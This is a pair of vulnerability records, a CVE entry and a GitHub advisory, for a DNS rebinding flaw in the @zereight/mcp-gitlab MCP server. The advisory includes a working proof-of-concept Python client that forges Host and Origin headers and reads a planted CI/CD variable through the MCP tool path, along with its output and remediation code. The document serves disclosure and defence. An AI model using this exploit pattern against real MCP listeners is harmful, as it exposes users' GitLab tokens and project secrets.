{
  "affected": [
    {
      "affectedData": [
        {
          "product": "gitlab-mcp",
          "vendor": "zereight",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.30"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Versions prior to 2.1.30 expose the Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim\u0027s local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary. Version 2.1.30 contains a patch."
    }
  ],
  "id": "CVE-2026-61568",
  "lastModified": "2026-09-15T21:16:41.570",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-15T21:16:41.570",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zereight/gitlab-mcp/commit/52207c6f5c0e7a39e9235d491225edbb562a0290"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zereight/gitlab-mcp/pull/555"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.30"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-vmp7-252j-cwp7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-350"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@zereight/mcp-gitlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-15T20:54:55Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim\u0027s local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.\n\nThis is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`.\n\nThe vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:\n\n```typescript\n// index.ts:12077\napp.use(express.json());\n\nregisterDownloadProxy(app);\n```\n\nThe Streamable HTTP transport is then created without the SDK DNS-rebinding controls:\n\n```typescript\n// index.ts:12375\ntransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: () =\u003e randomUUID(),\n  onsessioninitialized: (newSessionId: string) =\u003e {\n    streamableTransports[newSessionId] = transport;\n    metrics.totalSessions++;\n    metrics.activeSessions++;\n  },\n});\n```\n\nThe transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`.\n\nThe default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:\n\n```typescript\n// config.ts:192\nexport const HOST = getConfig(\"host\", \"HOST\") || \"127.0.0.1\";\n\n// config.ts:196\nexport const PORT = _intEnv(\"PORT\", \"port\", _PORT_DEFAULT);\n```\n\nThe README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access.\n\n## Proof of concept\n\nThe following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:\n\n- no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`;\n- no-token `tools/list` is rejected with `401`;\n- the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`;\n- the fake GitLab API records the forwarded token and returns a planted fake project variable.\n\nStart the fake GitLab API:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport json\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom urllib.parse import parse_qs, urlparse\n\nWITNESS = \"/tmp/zereight-gitlab-mcp-rebind-witness.jsonl\"\nPROJECT_ID = \"pluto/rebind-target\"\nFAKE_SECRET = \"glpat-FAKE-PROJECT-CI-SECRET-0001\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def _json(self, status, payload):\n        data = json.dumps(payload).encode()\n        self.send_response(status)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(data)))\n        self.end_headers()\n        self.wfile.write(data)\n\n    def _record(self):\n        parsed = urlparse(self.path)\n        with open(WITNESS, \"a\", encoding=\"utf-8\") as f:\n            f.write(json.dumps({\n                \"method\": self.command,\n                \"path\": parsed.path,\n                \"query\": parse_qs(parsed.query),\n                \"authorization\": self.headers.get(\"authorization\"),\n                \"private_token\": self.headers.get(\"private-token\"),\n                \"job_token\": self.headers.get(\"job-token\"),\n            }, sort_keys=True) + \"\\n\")\n\n    def do_GET(self):\n        self._record()\n        path = urlparse(self.path).path\n        if path == \"/health\":\n            self._json(200, {\"status\": \"ok\"})\n            return\n        if path.startswith(\"/api/v4/\") and not (\n            self.headers.get(\"authorization\") or\n            self.headers.get(\"private-token\") or\n            self.headers.get(\"job-token\")\n        ):\n            self._json(401, {\"message\": \"401 Unauthorized\", \"missing\": \"GitLab token\"})\n            return\n        if path.endswith(\"/variables\"):\n            self._json(200, [{\n                \"key\": \"PRODUCTION_DEPLOY_TOKEN\",\n                \"value\": FAKE_SECRET,\n                \"protected\": True,\n                \"masked\": False,\n            }])\n            return\n        self._json(200, {\"ok\": True, \"path\": path})\n\n    def log_message(self, fmt, *args):\n        return\n\nThreadingHTTPServer((\"127.0.0.1\", 18082), Handler).serve_forever()\nPY\n```\n\nIn a second terminal, run the affected MCP server:\n\n```bash\ngit clone https://github.com/zereight/gitlab-mcp.git\ncd gitlab-mcp\ngit checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13\nnpm install\nnpm run build\n\nSTREAMABLE_HTTP=true \\\nREMOTE_AUTHORIZATION=true \\\nHOST=127.0.0.1 \\\nPORT=8082 \\\nGITLAB_API_URL=http://127.0.0.1:18082/api/v4 \\\nGITLAB_READ_ONLY_MODE=true \\\nGITLAB_TOOLSETS=issues,projects,repository,ci \\\nGITLAB_TOOLS=list_project_variables \\\nnode build/index.js\n```\n\nIn a third terminal, send MCP requests with attacker-controlled browser-origin headers:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport json\nimport urllib.error\nimport urllib.request\n\nTARGET = \"http://127.0.0.1:8082/mcp\"\nREBIND_HOST = \"attacker.example:8082\"\nORIGIN = \"http://\" + REBIND_HOST\nTOKEN = \"glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001\"\n\ndef parse_rpc(text):\n    stripped = text.strip()\n    if stripped.startswith(\"{\"):\n        return [json.loads(stripped)]\n    out = []\n    for line in stripped.splitlines():\n        line = line.strip()\n        if line.startswith(\"data:\"):\n            out.append(json.loads(line[5:].strip()))\n    return out\n\nclass Client:\n    def __init__(self, token=None):\n        self.sid = None\n        self.token = token\n\n    def post(self, body):\n        headers = {\n            \"Content-Type\": \"application/json\",\n            \"Accept\": \"application/json, text/event-stream\",\n            \"Host\": REBIND_HOST,\n            \"Origin\": ORIGIN,\n        }\n        if self.token:\n            headers[\"Private-Token\"] = self.token\n        if self.sid:\n            headers[\"Mcp-Session-Id\"] = self.sid\n            headers[\"MCP-Protocol-Version\"] = \"2025-06-18\"\n        req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method=\"POST\")\n        try:\n            with urllib.request.urlopen(req, timeout=20) as res:\n                sid = res.headers.get(\"Mcp-Session-Id\") or res.headers.get(\"mcp-session-id\")\n                if sid:\n                    self.sid = sid\n                text = res.read().decode(\"utf-8\", \"replace\")\n                return res.status, parse_rpc(text), text\n        except urllib.error.HTTPError as exc:\n            text = exc.read().decode(\"utf-8\", \"replace\")\n            return exc.code, parse_rpc(text), text\n\n    def rpc(self, method, params=None, rid=1):\n        body = {\"jsonrpc\": \"2.0\", \"id\": rid, \"method\": method}\n        if params is not None:\n            body[\"params\"] = params\n        status, messages, raw = self.post(body)\n        for msg in messages:\n            if msg.get(\"id\") == rid:\n                return status, msg, raw\n        return status, {}, raw\n\n    def initialized(self):\n        self.post({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"})\n\ndef initialize(client, rid):\n    return client.rpc(\"initialize\", {\n        \"protocolVersion\": \"2025-06-18\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"dns-rebind-check\", \"version\": \"1\"},\n    }, rid)\n\nunauth = Client()\nstatus, init, raw = initialize(unauth, 1)\nprint(\"unauth initialize:\", status, \"session:\", unauth.sid)\nunauth.initialized()\nstatus, listed, raw = unauth.rpc(\"tools/list\", {}, 2)\nprint(\"unauth tools/list:\", status, raw[:200])\n\nauthed = Client(TOKEN)\nstatus, init, raw = initialize(authed, 3)\nprint(\"token initialize:\", status, \"session:\", authed.sid)\nauthed.initialized()\nstatus, listed, raw = authed.rpc(\"tools/list\", {}, 4)\ntools = [tool[\"name\"] for tool in listed[\"result\"][\"tools\"]]\nprint(\"listed list_project_variables:\", \"list_project_variables\" in tools)\nstatus, called, raw = authed.rpc(\"tools/call\", {\n    \"name\": \"list_project_variables\",\n    \"arguments\": {\"project_id\": \"pluto/rebind-target\"},\n}, 5)\nprint(raw)\nPY\n```\n\nObserved output:\n\n```text\nunauth initialize: 200 session: \u003cuuid\u003e\nunauth tools/list: 401 {\"error\":\"Missing Private-Token, JOB-TOKEN, or Authorization header\",\"message\":\"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header.\"}\ntoken initialize: 200 session: \u003cuuid\u003e\nlisted list_project_variables: True\n[\n  {\n    \"key\": \"PRODUCTION_DEPLOY_TOKEN\",\n    \"value\": \"glpat-FAKE-PROJECT-CI-SECRET-0001\",\n    \"protected\": true,\n    \"masked\": false\n  }\n]\n```\n\nThe fake GitLab API witness records that the MCP server forwarded the token to the backend request:\n\n```json\n{\"authorization\": null, \"job_token\": null, \"method\": \"GET\", \"path\": \"/api/v4/projects/pluto%2Frebind-target/variables\", \"private_token\": \"glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001\", \"query\": {}}\n```\n\n## Impact\n\nA malicious web page can reach a local `@zereight/mcp-gitlab` Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled `Host` and `Origin` headers. In the current remote-authorization mode, token checks block unauthenticated `tools/list` and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.\n\nThe confirmed impact is:\n\n- attacker-origin browser traffic reaches the local MCP `initialize` path;\n- server-side Host and Origin validation are absent on `/mcp`;\n- tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present;\n- GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.\n\n## Why this is a vulnerability, not intended behavior\n\n- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for `Host` and `Origin`.\n- The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs `StreamableHTTPServerTransport` without enabling those controls and does not add an equivalent Express guard.\n- `REMOTE_AUTHORIZATION=true` protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.\n\n## Remediation\n\nEnable the SDK DNS-rebinding protection on the Streamable HTTP transport:\n\n```typescript\ntransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: () =\u003e randomUUID(),\n  enableDnsRebindingProtection: true,\n  allowedHosts: [\n    `127.0.0.1:${PORT}`,\n    `localhost:${PORT}`,\n  ],\n  allowedOrigins: [\n    `http://127.0.0.1:${PORT}`,\n    `http://localhost:${PORT}`,\n  ],\n  onsessioninitialized: (newSessionId: string) =\u003e {\n    streamableTransports[newSessionId] = transport;\n  },\n});\n```\n\nAdd an Express middleware before `/mcp` that rejects unexpected `Host` and `Origin` values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.",
  "id": "GHSA-vmp7-252j-cwp7",
  "modified": "2026-09-15T20:54:55Z",
  "published": "2026-09-15T20:54:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-vmp7-252j-cwp7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/commit/52207c6f5c0e7a39e9235d491225edbb562a0290"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zereight/gitlab-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport"
}